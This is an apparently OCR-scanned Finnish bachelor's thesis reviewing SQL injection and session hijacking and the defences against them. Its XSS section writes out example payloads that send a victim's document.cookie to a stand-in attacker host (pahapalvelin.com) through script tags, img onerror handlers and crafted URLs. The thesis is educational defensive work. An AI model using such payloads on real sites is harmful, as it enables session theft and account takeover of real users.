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Verkkosivujen tietoturva on jatkuvan muutoksen alaisena oleva tarkea osa verkkosivuja. Verkkosivut tallentavat
usein tarkeita tietoja kayttajista ja niihin kasiksi pddseminen tai uhrin kayttajatilin murtautuminen voi olla todella
haitallista uhrin kannalta. Tassa tydssani esittelen kaksi hydkkaystekniikkaa nimeltd istuntokaappaus ja SQL-
injektio. Lopuksi esittelen parhaat tekniikat ndiden hydkkdysten ehkaisemiseen. Tyoni jakautuu siis neljaan
osaan: SQL-injektion esittely, istuntokaappauksen esittely, parhaiden SQL-injektiolta suojautumiskeinojen
esittely ja parhaiden istuntokaappaukselta suojautumiskeinojen esittely.

Tybssani kerron, ettd SQL-injektiolla tarkoitetaan hyokkaysta, jossa hyokkaaja padsee tekemaan
haitallisia kyselyita tietokantaan. Téma on mahdollista kohdassa, jossa palvelin luo dynaamisesti SQL-kyselyn.
Istuntokaappaus on mahdollista, jos verkkosivut kayttavat web-istuntoa. Istuntotunniste on merkkijono, jonka
avulla palvelin tunnistaa kayttajan ja paasee sen tietoihin kasiksi. Istuntokaappaus perustuu istuntotunnisteen
varastamiseen. Yleensa istuntotunniste kulkee palvelimen ja selaimen valisissa kutsuissa mukana evasteena.
Sen varastamistekniikoiksi nimean Cross Site Scripting (XSS), Man in the middle (MITM) ja tunnuksen
arvaaminen tilanteissa, joissa palvelin luo sen ennalta arvattavalla tavalla.

Parhaaksi SQL-injektiolta suojautumistekniikaksi nimean valmistellun ja parametrisoidun kyselyn.
Tassa tekniikassa SQL-koodi on kaannetty ennalta ja lisatyt parametrit tulkitaan merkkijonona. SQL-koodiin on
nyt mahdotonta vaikuttaa. Parhaiksi Istuntokaappaukselta suojautumiskeinoiksi olen nimennyt oikeiden
evasteiden ominaisuuksien kayttamisen. HttpOnly-ominaisuus estda selaimen puolen skriptien paasyn kasiksi
siihen. Sita kaytettdessa XSS avulla istuntotunnuksen kasiin saaminen ei ole mahdollista. Secure-ominaisuus
estaa, evasteen liittdmisen kutsuihin, joita ei luokitella turvallisiksi. Tama vaikeuttaa istuntotunnuksen saamista
MITM avulla. Viimeiseksi istuntokaappauksen suorittamistavaksi olin nimennyt istuntotunnisteen arvaamisen
tilanteessa, jossa palvelin luo sen ennalta arvattavalla tavalla. Tdman valttdminen vaatii sen, etta istuntotunniste

luodaan satunnaisesti. Tahan palvelimen kehittaja voi kayttda esimerkiksi jotain luotettavaa kirjastoa.
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1. JOHDANTO

Verkkosivujen tietoturva on olennaisen tarkea osa nettisivuja. Nettisivuille
voidaan tallentaa monenlaista kayttgjalle sensitiivisid asioita. Esimerkiksi salasanat,
kayttajatunnukset ja sahkodpostit ovat esimerkkeja tallaisista sensitiivisista asioista.
Salasanat varsinkin ovat tarkeitd, koska moni ihminen kayttdd samaa salasanaa
monessa paikassa. Pahimmassa tapauksessa esimerkiksi kissapeli.com sivuston
salasanan paatyminen ilkeamielisten ihmisten kasiin saattaa johtaa hyokkaajien

paasyyn henkilon sahkopostiin ja sita kautta muihin arvokkaisiin tietoihin.

Verkkosivujen tietoturvallisuus on minulle tarkea asia, koska olen keskittynyt
opinnoissani nettisivujen kehittdmiseen aika paljon. Nettisivuhydkkaysten toimiminen ja
verkkosivujen tietoturva ovat molemmat asioita, joihin haluan perehtyd enemman ja
naden tadman loistavana mahdollisuutena suorittaa kandinaattitutkielman ja oppia
tietoturvallisuudesta siind samalla lisda. Taman tutkielman tekeminen toivottavasti lisda

uskottavuuttani nettisivujen kehittajana tydmarkkinoilla.

Niin hyodkkays- kuin puolustustekniikat ovat jatkuvan muutoksen alaisia
asioita ja siksi niissa on tarkeaa olla ajan tasalla. Laitteita, sovelluksia, nettisivuja ja
muita hyokkayskohteita on paljon erilaisia, joten aiheen rajaaminen on tarkeaa. Keskityn
tassad tutkielmassa nettisivuihin ja hyokkaystekniikoihin nimeltd istuntokaappaus

(session hijacking) ja SQL-injektio (SQL injection).

Verkkosivuja on monenlaisia, mutta suurimman osan rakenne on
seuraavanlainen: Nettisivu koostuu selaimesta, palvelimesta ja tietokannasta. Monesti
mobiilisovellukset kayttavat samaa palvelinrajapintaa, kuin mitd selaimessa pydriva
kayttoliittyma kayttda. Tietokanta on paikka, johon nettisivu tallentaa osan tiedosta.
Palvelimella sijaitsee se koodi, joka on vastuussa kulissien takana tapahtuvista
toiminnoista kuten kayttajatunnuksen ja salasanan oikeellisuuden tarkistamisesta.
Selaimella ajetaan kayttoliittyman koodi, joka on yleensa HTML-, CSS- ja JavaScript-

Kielilla.

SQL-injektiolla  tarkoitetaan hydkkaystd, jossa hyokkaaja paase
vaikuttamaan palvelimen suorittamiin tietokantakyselyihin. Monet nettisivut kayttavat
tekniikka nimeltd web-istunto (web session), jossa palvelin tallentaa merkkijono

kayttajatieto pareja kayttajasta, kun kayttaja kirjautuu sisdan. Merkkijono, jolla palvelin
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tunnistaa kayttgjan, tallennetaan yleensa evasteena selaimelle. Kyseinen merkkijono
kulkee HTTP-kutsujen mukana ja taman varastamista kutsutaan hyokkaykseksi nimelta

istuntokaappaus.

The Open Web Application Security (OWASP) on listannut vuonna 2017 ja
2021 kymmenen vaarallisinta tietoturvallisuusriskia. Kategoria injektiot oli vuonna 2017
ensimmaisella sijalla ja vuonna 2021 sijalla kolme. SQL-injektio sisaltyy kategoriaan
injektiot, joka oli molemmissa listauksissa kolmen vaarallisimman tietoturvallisuusriskin
joukossa. Istuntokaappaukselle ei ole suoraan kategoriaa kummassakaan listauksessa,
mutta monissa kategorioissa on sen elementteja. Esimerkiksi vuoden 2017 listauksessa
sijalla kaksi oleva rikkindinen todennus (Broken authentication) maaritellaan siten, etta
funktiot kirjautumiseen ja istunnon hallintaan liittyen on suoritettu haavoittuvasti. Joskus
nama tilanteet tarkoittavat sita, etta istuntotunnus saadaan selville. Tassa tapauksessa
nettisivu on istuntokaappaukselle haavoittuvainen, vaikka sitd ei suoraan sanota.
Toisaalta vuonna 2017 sijan seitseman ja vuonna 2021 kategoriaan injektiot sulautettu

Cross Site Scripting on yksi istuntokaappauksen suorittamiskeino.

Tutkin tata aihetta kehittdjan ja tatd myoéta vahan yrityksien nakodkulmasta.
Monesti tdmankaltaisesta kandidaattitutkielmasta tulee todella abstrakti ja teoreettinen,
mutta minun tavoitteeni on tuoda mahdollisimman paljon konkretiaa mukaan. Olen
muotoillut tutkimuskysymykseni seuraavalla tavalla. Miten SQL-injektiota ja
istuntokaappausta kaytetdan osana nettisivuhyokkayksia ja miten niilta voi

suojautua?

Tyoni esittelee toisessa kappaleessa tutkimusmenetelmat. Kolmannessa
kappaleessa esittelen SQL-injektion. Neljdnnessd kappaleessa syvennytaan
istuntokaappaukseen. Viidennessa kappaleessa esitelldaan tapoja suojautua SQL-
injektioilta ja kuudennessa tapoja suojautua istuntokaappaukselta. Seitsemas kappale

on paatdskappale.
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2. TUTKIMUSMENETELMAT

Tybéni  tutkimusmenetelmd on Kkirjallisuuskatsaus eli etsin vastausta
tutkimuskysymykseeni kirjallisuudesta. En kayttanyt mitdan hakukoneita vaan tein haut
suoraan tietokantoihin. Tietokannat, jota kaytin olivat IEEE explore ja ProQuest.

ProQuest-tietokantaan tein haut "peer rewieved” -suodatin paalla.

Johdannossa mainitsin, ettd otin tdman aiheen siksi, ettd haluan syventya
aiheeseen enemman. Naden taman mahdollisuutena tehdad kolme asiaa samalla.
Suorittaa kandidaatin tutkintoni ja sivistdd itsedni aiheesta samalla lisaten
uskottavuuttani tydmarkkinoilla. Koska en itsekkaan aiheesta paljoa ymmartanyt, aluksi
monet akateemiset lahteet olivat liian edistyneita ja vaikeita ymmartaa. Monien aiheiden
yhteydessa aloitin selaamalla ei akateemisia nettisivuja, lukemalla vanhojen aiheeseen
liittyvien kurssien materiaaleja ja katsomalla YouTube-videoita saadakseni ymmarryksen
perusasioista. Kun olin saanut ymmarryksen perusasioihin, siirryin akateemisiin

lahteisiin, joita etsin mainitsemistani tietokannoista.

Hain lahteita kayttaen loogisia operaattoreita AND ja OR. Kaytin aluksi hakiessani
Hakulausetta "web AND (session hijacking OR SQL injection)”. Talla haulla tuli paljon
tuloksia ja osa lahteistani I6ytyi tdman haun tuloksena. Kappaleiden 3, 4, 5, ja 6
yhteydessa tein erindisid hakuja mainitsemiini tietokantoihin. Kun halusin Iahteitd
nettisivujen toiminnalle, kaytin hakua "web session AND cookies AND session hijacking”
ja SQL-injection toiminnalle hain I&hteita haulla "web AND SQL injection AND prevent”.
Lahteitd SQL-injektioilta puolustautumiseen etsiessani kaytin samaa hakua, mutta
lisasin peraan "AND NOT detect”, koska moni lahde keskittyi hyokkaysten
havaitsemiseen. Tatd kappaletta varten hain lahteitd myds hajautusfunktioiden
toimintaan, koska edella mainitulla haulla ei niitd tullut. Kappaleessa nelja nimean ne
hyokkaystekniikat, joilla istuntokaappaus suoritetaan. Tein erinadisia hakuja jokaiselle

naista hyokkaystekniikoista, saadakseni lahteita niille.

Tyon alkuvaiheessa en suodattanut hakutuloksia julkaisuvuoden mukaan, mutta
sen edetessa aloin niin tekemaan. Kaytin ProQuest tietokannassa yleensa "last 5 years”-
suodatinta ja IEEE explore -tietokannassa suodatin ne julkaisuvuodesta 2020 eteenpain.
Minun tutkielmani keskittyy hyokkaystekniikoiden perusasioihin ja suurin osa hakujen
tuloksista menivat suoraan minun tutkielmani kannalta liian edistyksellisiin asioihin.

Lahteitd haullani tuli paljon. Totesin lahteen hyodylliseksi, jos se kertoi jotain
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verkkosivujen toiminnasta tai mainitsemistani hyokkaystekniikoista. Jos valinnan varaa

oli, kuten usein oli, valitsin tuoreimman lahteen.

Sopivia lahteita 10ytdessani valilla katsoin myos niiden lahteita. Jos lahde nayitti
sisdltavan jotain minun tutkielmani kannalta hyddyllistd, saatoin kayttdd myds sitd
l&hdettd. Viimeinen tapa, jolla Idhteitd hankin, oli tutkimalla trepossa julkaistuja
informaatioteknologian ja viestinnan tiedekunnan kandidaattitutkielma, jotka liittyivat
SQL-injektioihin tai istuntokaappaukseen jotenkin. Availin yhden kandidaattitukielman
lahteita ja tutkin, olisiko sielld jotain minulle hyddyllista. Kaytin tata tekniikkaa kuitenkin
varoen, koska en halunnut, etta tutkielmastani tulee lilan samanlainen. Ainoastaan

OWASRP listaukset ovat 16ydetty tydhoni talla tavalla.



3. SQL-INJEKTIOT

Lahes kaikki nettisivut koostuvat kolmesta osasta. Ensimmainen on selain, joka sisaltaa
kaiken kayttoliittyman ulkonakdon ja sen toimintaan liittyvan koodin. Sen lisdksi on
palvelin, joka sisaltda kaiken kulissien takana tapahtuvan koodin ja logiikan. Perinteinen
asia, jonka palvelin tekee, on kayttajanimen ja salasanan oikeellisuuden tarkastaminen.
Kolmas osa on tietokanta, johon nettisivun tarvitsema tieto tallennetaan. Esimerkiksi
salasanat ja kayttajatunnukset tallennetaan sinne. Tietokannat voi jakaa kahteen
kategoriaan. On NoSQL-tietokantoja ja SQL-tietokantoja (Wisal ym., 2023). Molempia
on erilaisia ja yksi suosittu NoSQL-tietokanta on nimeltdéan MongoDB ja MySQL on

suosittu SQLtietokanta.

SQL-tietokannat ovat niin sanottuja relaatiotietokantoja. Nama toimivat siten, etta
niissa tieto tallennetaan tauluihin, joissa tieto sijaitsee riveilla. Esimerkiksi taulussa,
johon tallennetaan tietoa kayttajista, yksi rivi sisaltaa tiedot yhdesta kayttajasta. Naiden
taulujen sisaltda eli yksittaisia riveja voi muokata, lisata, poistaa tai hakea sielta tietoa.
Tama tehdaan kielelld nimeltd SQL (Structured Query Language). SQL-lauseita
kutsutaan kyselyiksi. Rivia tai riveja muokkaavat kyselyt alkavat UPDATE, poistavat
DELETE, Ilisdavat INSERT ja hakevat SELECT. Nama ovat kaikkein
perustavimmanlaatuisia kyselyasioita ja voisin syventyd SQL-kieleen paljon
tarkemminkin, mutta se ei ole SQL-injektioiden ymmartdmiseksi tarpeen. SQL-
tietokannat koostuvat yleensd monesta taulusta ja ovat todella suosittuja verkkosivujen
tietokantana. SQL-injektio on hyokkaystekniikka, jota voi kayttaa vain nettisivuihin, jotka
kayttavat jotain SQL-tietokantaa. Koska SQL-tietokannat ovat suosittuja, soveltuu SQL-
injektio hyokkaystekniikkana moneen verkkosivuun. On olemassa myds NoSQL-injektio,

jota voidaan kayttda NoSQL-tietokantaan (Praveen ym., 2022).

Kuten jo sanoin, SQL-kielelld voi muokata poistaa, lisata tai hakea tietokannan
sisaltéa. SQL-injektio hyokkayksessa naita toimenpiteitd tekevat ei toivotut tahot ei
toivotulla tavalla. Koska kaikki tietokannan kanssa tekemisisa oleva koodi sijaitsee
palvelimella, SQL-injektiot ovat mahdollisia vain silloin, kun hyokkaaja paase
vaikuttamaan SQL-kyselyihin, joita palvelin muodostaa kayttamalla selaimen lahettamia
tietoja. Tama on mahdollista syottamalla SQL-koodia selaimella sijaitseviin syotekenttiin.
(Ahmad ym., 2021) Tama vaatii sen, etta palvelin luo dynaamisesti kyselyitad selaimesta

lahetettyjen tietojen avulla.
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The open web application security project (OWASP) teki vuosina 2017 ja 2021
listaukset, jossa se arvioi mitkd ovat suurimpia riskeja nettisivujen turvallisuudelle.
Vuonna 2017 listan karjessa oli kategoria injektiot, johon SQL-injektiot tietenkin kuuluvat.
Vuonna 2021 kategoria injektiot oli tippunut sijalle 3. On hyva kuitenkin tietaa, etta
vuonna 2021 Cross Site Scripting oli osa kategoriaa injektiot. Td&ma on merkittavaa,
koska vuonna 2017 pelkka Cross Site Scripting oli sijalla seitseman. Tasta huolimatta
kategoria injektiot oli vuonna 2021 vielakin sijalla 3, joten vielakin merkittava

tieturvallisuusriski.

Kambre ym., (2023) jakaa SQL-injektiot neljaan eri kategoriaan. Ensimmainen
tekniikka on nimeltdan virheeseen perustuva SQL-injektio. Taman hyokkayksen ideana
on syottdad syotekenttddn SQL-injektio, joka tietokantaan paastessaan laukaisee
virheilmoituksia. Ideana on se, etta naiden virheilmoitusten avulla hyokkaaja voi paatella
tietokannan rakenteen. Tassa hyokkaystyypissa hydkkaaja kayttdd samaa kanavaa

seka hyokkayksen tekoon, etta virheilmoitusten saamiseen.

Kaistan ulkopuolisiksi SQL-injektioksi kutsutaan sellaisia hyokkayksia, joissa
vastaus saadaan jotain toista kanavaa pitkin kuin mitd pitkin se on tehty. Tama
hyokkaystekniikka on mahdollista vain silloin, kun palvelin laukaisee DNS tai HTTP-

kutsun. On hyva mainita, ettd nykyaan melkein jokainen palvelin toimii nain.

Aikaan perustuva sokea SQL-injektio hyokkays on kolmas hydkkaystekniikka.
Tassa hyokkaystekniikassa SQL-injektion tavoitteena on syéttdad selaimen kautta
palvelimelle sellainen kysely, joka pakottaa tietokannan odottamaan tietyn ajanjakson
ajan. Hyokkagja tietdd vastausajasta, ettd onko kyselyn vastaus tosi vai ei. Kyselyn
vastaus on tosi, jos se voidaan suorittaan ilman, etta virheilmoitus laukaistaan. Muussa

tapauksessa vastaus on epatosi.

Kambren viimeinen kategoria on totuusarvoon perustuvat SQL-injektiot.
Totuusarvoon perustuvat kyselyt pakottavat tietokanan antamaan erilaisen vastauksen
joko virheelliseen tai virheettémaan kyselyyn. Se toimii luettelemalla merkit tekstista,
joka purettava. Tama teksti voi olla tietokannan nimi, taulun nimi, taulun rivin nimi ja niin

edelleen.

Lopuksi on hyva sanoa, ettd SQL-injektioita luokitellaan eri lahteissa eri tavoilla.
Esimerkiksi Vekariya ym., (2024) luokittelee SQL-injektiot neljaan kategoriaan. Yhteisia
kategorioita Kambren kanssa ovat virheeseen perustuva, aikaan perustuva ja
totuusarvoon perustuva SQL-injektio. Tassd luokittelussa on myds enemman

kategorioita ja SQL-injektioita kategorisoidaan todella monella eri tavalla.
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4. ISTUNTOKAAPPAUS

Jotta voisimme ymmartaa, miten nettisivuhyokkaykset toimivat, on ensin ymmarrettava
miten nettisivut toimivat. Seuraavaksi kerron muutamasta perustavanlaatuisesta
nettisivun osasta. Hypertekstinsiirtoprotokolla, joka Ilyhennetddn HTTP, toimii
tietolikenteen perustana WWW:ssa (World Wide Web) (LACroix ym., 2017).
Tietoliikenteella on kaksi paata. Ensimmainen on asiakas, jolla tarkoitetaan nettiselainta,
kuten Chorme tai Edge. Toinen paa on palvelin, joka tekee kaiken kullisien takana
tapahtuvan toiminnan kuten tarkastaa kayttajatunnuksen ja salasanan oikeellisuuden.
Kun kutsu lahetetaan, asiakas kayttaa “Uniform Resource Locator” eli URL tietoja ja
tekee yhteyden palvelimelle. Kun kutsu on lahetetty palvelin vastaa kutsuun tavalla,
jonka palvelimen kehittdja on maarittanyt ja yhteys katkaistaan. (LACroix ym., 2017) Kun
uusi erillinen yhteys luodaan ja kutsu tehdaan, palvelin vastaa muistamatta aikaisempaa

kutsua. Tata ominaisuutta kutsutaan termilla tilattomuus.

Evaste on pieni tiedonpalanen, jota palvelin ja asiakas pallottelevat toisilleen.
Tama tiedonpalanen on kooltaan rajoitetun kokoinen ja kulkee jokaisen kutsun mukana.
Lou Montulli, joka loi evasteen, oli mukana myoés HTTP-protokollan tekemisessa. Se
toimii asiakkaan ja palvelimen valisend tunnuksena. Se on yksi tapa paasta
tilattomuudesta eroon ja saada palvelin tunnistamaan, ettd mitkd kutsut kuuluvat
mihinkin istuntoon. (LACroix ym., 2017) Perinteinen asia, jonka palvelimen kuuluisi
muistaa on kayttajan kirjautumisen tila. Onko kayttaja kirjautunut vai ei? Onko kayttaja
yllapitaja, normaali kayttaja vai jotain muuta? On muitakin keinoja saavuttaa mainitusta

ominaisuudesta eroon paaseminen, mutta evasteen avulla se on helpointa.

Alenperin Montulli ei luonut evastetta tietoturva mielessa pitden (LACroix
ym., 2017). Se ei takaa tiedon luottamuksellisuutta eika eheytta. Luottamuksellisuudella
(confidentiality) tarkoitetaan, ettéa tieto ei ole saatavissa muiden kuin tietoon oikeutettujen
tahojen toimesta. Eheydellé (integrity) tarkoitetaan tiedon olevan sita mita sen kuuluisikin
olla. Esimerkiksi sen varmistaminen, etta tietoa ei voi muuttaa on keskeistad eheyden
kannalta. (Tampereen Yliopisto 2024) Evasteeseen on myéhemmin luotu turvallisuutta
edistavia toimintoja kuten HttpOnly ja Secure. Secure tarkoittaa sita, etta evaste liitetdan
kutsuihin vain, jos kutsu kulkee suojatun yhteyden kautta. Tama liittyy HTTPS- ja HTTP-
yhteyksien eroihin ja syvennyn tdhan kappaleessa 6 tarkemmin. HttpOnly tarkoittaa, etta
evasteen kayttd on rajattu vain HTTP-kutsuihin, jolloin selaimen puolen skriptit eivat

paase kasiksi evasteeseen. Tama koskee seka kehittajien ettd mahdollisten hydkkaajien
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skripteja. (LACroix ym., 2017) Kun skriptit eivat paase evasteeseen Kkasiksi,

istuntotunnisteen kaappaaminen evasteestad XSS:n avulla estetaan.

Web-istunto on puolipysyva tapa toteuttaa kirjautuminen nettisivulle
(Meenakshi & Talwinder, 2020). Tyypillisesti tama toteutetaan seuraavasti. Kun kayttaja
kirjautuu tai luo uuden kayttajan, luodaan uniikki merkkijono, jolla kayttaja voidaan
tunnistaa. Tama merkkijono lahetetaan evasteena takaisin kirjautujan selaimelle. Taman
lisdksi palvelimelle tallennetaan Iluotu merkkijono ja kayttjatieto pareja. Naita
merkkinonoja tallennetaan palvelimella erilaisiin sijainteihin. Edelld mainitut NoSQL-
tietokannat kuten MongoDB tai tietokanta nimeltd Redis ja SQL-tietokannat kuten
MySQL ovat tdmanlaisia paikkoja. Kun edelld mainitut toimenpiteet on tehty, istunto on
valmis. Kun asiakas lahettaa kutsun palvelimelle ja kayttajan tietoja tarvitaan, paastaan
niihin kasiksi evasteessa olevan merkkijonon avulla. Hyokkays, josta kohta puhumme,

perustuu tdman evasteen varastamiseen/kopioimiseen.

Istuntokaappauksen ideana on, ettd hyokkaaja varastaa istuntotunnisteen
evasteen jollain tavalla. Hyokkaaja o] esimerkiksi kayttaa
salakuunteluohjelmaa kuunnellakseen palvelimen ja asiakkaan valistd viestintaa.
Varastetulla istuntotunnisteella ei voi teeskennelld olevansa oikea kayttgja ennen kuin
se on kopioitu omalle selaimelle evasteena. Hyokkaaja voi kayttaa selainlaajennuksia
kuten cookie-editor tai cookie-manager lisatdkseen kopion istuntotunnisteesta
evasteena omalle selaimelleen. (Meenakshi & Talwinder, 2020) Kun hytkkaaja on tehnyt
tdman onnistuneesti, han voi tehdd melkein mitd vain uhrin nimissa. Kun kyseinen
kayttaja kirjautuu ulos, palvelin poistaa istuntotunnisteen. Istunto paattyy palvelimella,

eika varastetulla istuntotunnisteella ole mitaan arvoa.

Istuntokaappauksen hyva puoli hyokkaajan kannalta on se, ettd hyokkaajan
ei tarvitse tuhlata aikaa salasanan selvittamiseen tai varastamiseen (Meenakshi &
Talwinder, 2020). Ei siis tarvitse murtaa salasanaa mitenkaan, vaan riittaa, etta paasee
kasiksi istuntotunnukseen. Taman tunnuksen voi varastaa monella tavalla: Cross Site
Scripting, tunnuksen kopioiminen suoraan uhrin kovalevyltad, Man in the midddle -
hyokkdys tai tunnukseen arvaaminen, jos palvelin generoi ennalta arvattavia
istuntotunnuksia. (Meenakshi & Talwinder, 2020) Riippumatta keinosta, kun hytkkaaja
saa tunnuksen kasiinsa, han voi esiintya uhrina. Kun uhri kirjautuu ulos, istunto loppuu.
Osaltaan tasta syystd monien sivujen kirjautuneilta kayttdjiltd on rajattu toimintaa.

Esimerkiksi salasanan vaihtaminen vaatii usein vanhan salasanan tietamista.

4.1 Cross Site Scripting evasteen varastamiskeinona
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Seuraavaksi kerron eri tavoista varastaa kayttajan istunto. Tapoja on monia ja
ensimmainen tapa, johon syvennyn, on Cross Site Scripting eli XSS. Kuten SQL-injektiot,
myds XSS suoritetaan sydttamalla ilkeamielistd koodia sydtekenttiin selaimessa. SQL-
injektioissa syotettiin SQL-koodia kohtiin, joissa luotiin dynaamisesti tietokantakyselyita,
mutta XSS:ssa syotetdan JavaScript- tai HTML-koodia, joka suoritetaan uhrin
selaimessa. XSS-hyokkaykset jaetaan kolmeen eri tyyppiin. Pysyva tai varastoitu,
heijastuva tai ei pysyva ja DOM:iin (Document Objeckt Model) perustuva hydkkays.
(Shirvastava ym., 2016; Hydara ym., 2020)

Varastoidussa hyokkayksessa hyokkaaja syottda ilkeamielista koodia
syotekenttdan. Taman jalkeen kayttajan syodte tallennetaan palvelimelle yleensa
tietokantaan, tiedostojarjestelmiin tai johonkin muualle. (Hydara ym., 2020) Tama
palvelimelle tallennettu merkkijono naytetaan muille kayttajille. Helpoin esimerkki taman
tyyppisestd XSS-hydkkayksestd on nettisivu, jossa on kommentointiominaisuus.
Hydkkaaja voi syottdd kommentinluontikenttdan ilkedmielistd HTML- tai JavaScript-
koodia, joka tallennetaan palvelimelle. Kun muut kayttajat tulevat ndkymaan, jossa tama
"kommentti” sijaitsee, haetaan tama palvelimelta ja ndytetdan se kayttajalle. Koska se ei
ole merkkijono, vaan HTML- tai JavaScript-koodia, ajaa selain sen valittémasti. Koska
puhumme XSS:std istuntokaappauksen valineena, kyseinen "kommentti” voisi olla

esimerkiksi seuraavanlainen <img sSrc="x onerror=

”

window.location="http://pahapalvelin.com?cookie=" + document.cookie />. Koska img

tagi tulkitaan HMTL-koodiksi, se ajetaan uhrin selaimessa. llkedmielinen koodi voisi olla
myds script tagin sisalld. Tama kyseinen koodin patka toimii, koska img tagin src-
attribuutti, joka kertoo missa kuva sijaitsee, on virheellinen, joka laukaisee onerror-

attribuutin, missa lahetettaisiin kayttajan evasteet hyokkaajan palvelimelle.

Heijastettu XSS-hydkkdys on mahdollista silloin, kun kayttdjan syoétteen avulla
generoidaan valittdmasti ja dynaamisesti uusi sivu. Kayttajan syotettd ei kuitenkaan
tallenneta mihinkdan kuten varastoidussa XSS:ssa ja siksi se ei vaikuta kaikkiin
sivustolla vieraileviin ihmisiin. (Hydara ym., 2020) Kun on sivu, joka toimii nain,
hyokkaaja voi syottda haitallista koodia syOtekenttdan. Se voisi olla esimerkiksi

<script>window.location="http://pahapalvelin.com?cookie=" + document.cookie</script>

, jossa alkuperaisen sivuston URL olisi https://sivusto.com. Haku syétekenttdan "moi” -

sanan syo6ton jalkeen sivuston URL olisi https://sivusto.com?query=moi. Levittamalla

linkkejd tai muulla tavalla huijaamalla muita kayttajia paatymaan sivustolle

"hitps://sivusto.com?query=<script>window.location="http://pahapalvelin.com?cookie="

+ document.cookie</script>" hyokkaaja voisi saada kayttdjien istuntoevasteet itselleen.


http://pahapalveli.com/?cookie
http://pahapalveli.com/?cookie
https://sivusto.com/
https://sivusto.com/?query=moi
https://sivusto.com/?query=moi
http://pahapalveli.com/?cookie
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Heijastettu XSS ei levia kuin virus kuten varastoitu XSS ja olisi estettavissa, jos kayttajat

olisivat tieturva-asioista tietoisempia.

On olemassa tilanteita, joissa haitallisen koodin syottaminen onnistuu, vaikka
selain ei olisi mitenkaan yhteydessa palvelimeen. Naitd hyokkayksia kutsutaan DOM
pohjaisiksi XSS-hydkkayksiksi. Tama toimii silloin, kun sydtekentalla vaikutetaan URL-
parametriin. (Hydara ym., 2020) Taman parametrin avulla kirjoitetaan HTML-koodia
sivulle. Sivulla voi esimerkiksi olla monta nappia, joiden avulla renderdidaan eri kuva.

Sivun URL voi olla esimerkiksi https://sivusto.com#1, jossa 1 on sen kuvan

numerotunnus, mika renderdidaan kayttjjille. Napeilla on tunnukset, joiden perusteella

sivun img tagin src-atribuutti maaraytyy. Tekemalla linkin: https://sivusto.com#y’

onerror=window.location="http://pahapalvelin.com?cookie=" + document.cookie,

hyokkaaja voi suorittaa hyokkayksen. jakelemalla tata hyokkaaja voi saada uhrit
l[&hettdmaan evasteensa itselleen. Tama toimii, jos sivulla olisi img tagi, jonka src
maaraytyisi URL:n # -jalkeen olevasta osasta. Y on vain minun esimerkki virheellisesta

src-attribuutin arvosta joka laukaisee onerror-attribuutin.
4.2 MITM-hyokkays evasteen varastamiskeinona

Man in the middle -hdykkayksessa (MITM) hyokkaaja salakuuntelee viestintaa
kahden osapuolen valilla (Wisal ym., 2024). Koska puhumme tasta istuntokaappauksen
valineend, osapuolet ovat kayttdjan selain ja palvelin. Salakuuntelemalla viestintaa
hyokkaaja paasee kasiksi evasteeseen, jossa istuntotunnus on tallennettuna. Tapoja
suorittaa MITM-hyokkays on monta ja en pysty kdymaan niitd kaikkia 1api. Esitan

seuraavaksi muutaman esimerkin.

Hyva esimerkki MITM-hyokkayksesta on se, ettd hyokkagja tekee
turvattoman langattoman internetin (WI-FI), jolla on viattoman kuuloinen nimi.
Esimerkiksi Matin kahvilan 13histolla olevan WI-FI:n nimi voisi olla Matin kahvilan
ilmainen WI-FI. Kahvilaan menee henkild, joka ottaa WI-Fl:n kayttdon. Kun kayttajaa
ottaa WIFI:n kayttdon, laite varoittaa sen turvattomuudesta, jonka tietamaton kayttgja
sivuuttaa. Taman jalkeen hyokkaaja voi kuunnella tassa verkossa olevan henkilon
kommunikointia jonkin sivuston palvelimen kanssa. Kun henkil kirjautuu, hyokkaaja voi
kopioida web-istunnon tunnuksen omalle selaimelleen evasteena ja tehda mita palvelu
sallii uhrin nimissa. Ihan kaikkea, kuten salasanan vaihtamista hyokkaaja ei valttamatta
voi tehda, koska monesti se vaatii vanhan salasanan tietamisen. Taman tekniikan nimi

on WIF-salakuuntelu.

Toinen klassinen tapaus on se, ettd vain sivuston kirjautumissivu kayttaa

HTTPS:44 ja muut sivut HTTP:t4. Tdma johtaa siihen, etta vaikka kirjautumisen hetkella


https://sivusto.com/#x
https://sivusto.com/#y
http://pahapalveli.com/?cookie
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ei voi nettiyhteytta salakuunnella, niin muilta sivuilta tulevissa kutsuissa on web-istunnon
tunnus mukana evasteen3, jolloin sen salakuuntelu ja kopioiminen omalle selaimelle on
mahdollista. Nykyaan tamanlaisia sivuja ei kuitenkaan juurikaan ole olemassa, koska
tasta riskista ollaan tietoisia. MITM-hyokkaystekniikoita on muitakin kuten englanniksi

DNS spoofing, IP spoofing ja Arp cache poisoning.
4.3 Muita evasteen varastamiskeinoja

Viimeiset keinot istuntotunnuksen varastamiseen ovat ennalta-arvattavan
istuntotunnuksen arvaaminen ja suoraan kovalevyltd kopioiminen. Palvelin luo
istuntotunnuksen muodostamalla merkkijonon, joka koostuu kutsun l|ahettdjan IP-
osoitteesta ja kutsun lahetysajasta. Tama on vain minun esimerkkini ennalta-
arvattavasta tavasta, jolla palvelin luo istuntotunnuksen. Ennalta-arvattavia
istuntotunnuksen luontitapoja on monia muitakin. Taman Kkaltaisissa tilanteissa

hyokkaaja voi arvata tunnuksen ja kopioida sen omalle selaimelle.
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5. SQL-INJEKTIOILTA SUOJAUTUMINEN

SQL-injektiot tehdaan syottamalla ilkeamielista koodia kayttoliittyman syotekenttiin
kohdissa, joissa luodaan dynaamisesti kysely. Syodtekenttien syoétteiden sisallon
validoiminen on oleellista SQL-injektioiden estadmiseksi. Jos kayttajan syote hyvaksytaan
sellaisenaan, on SQL-injektioiden tekeminen huomattavasti helpompaa kuin silloin, kun
sita ei tehda. Tama takia syote kannattaa validoida selaimen puolella. Koska selaimen
validointiin luottaminen on naiivia ja monesti helposti ohitettavissa, taytyy syote validoida

myds palvelimen puolella. (Ahmad ym., 2021)

Syotteen validointi on aarimmaisen tarkea osa SQL-injektioiden ehkaisya. Sita
tehdaan paaasiassa kahdella tavalla. Ensimmainen tapa nimeltdan valkolistaus
(whitelisting) tarkoittaa, etta on lista hyvaksyttyja merkkeja tai merkkijonoja. Toinen tapa
nimeltdan mustalistaus (blacklisting) tarkoittaa, ettd on lista kiellettyja merkkeja tai
merkkijonoja. (Cetin, 2019) valkolistauksessa sydte hylatdan, jos joku merkki tai
merkkijono ei kuulu hyvaksyttyjen merkkijonojen ja/tai merkkien loppuun.
mustalistauksessa syote hylatdan, jos joku merkki on kiellettyjen merkkien joukossa.
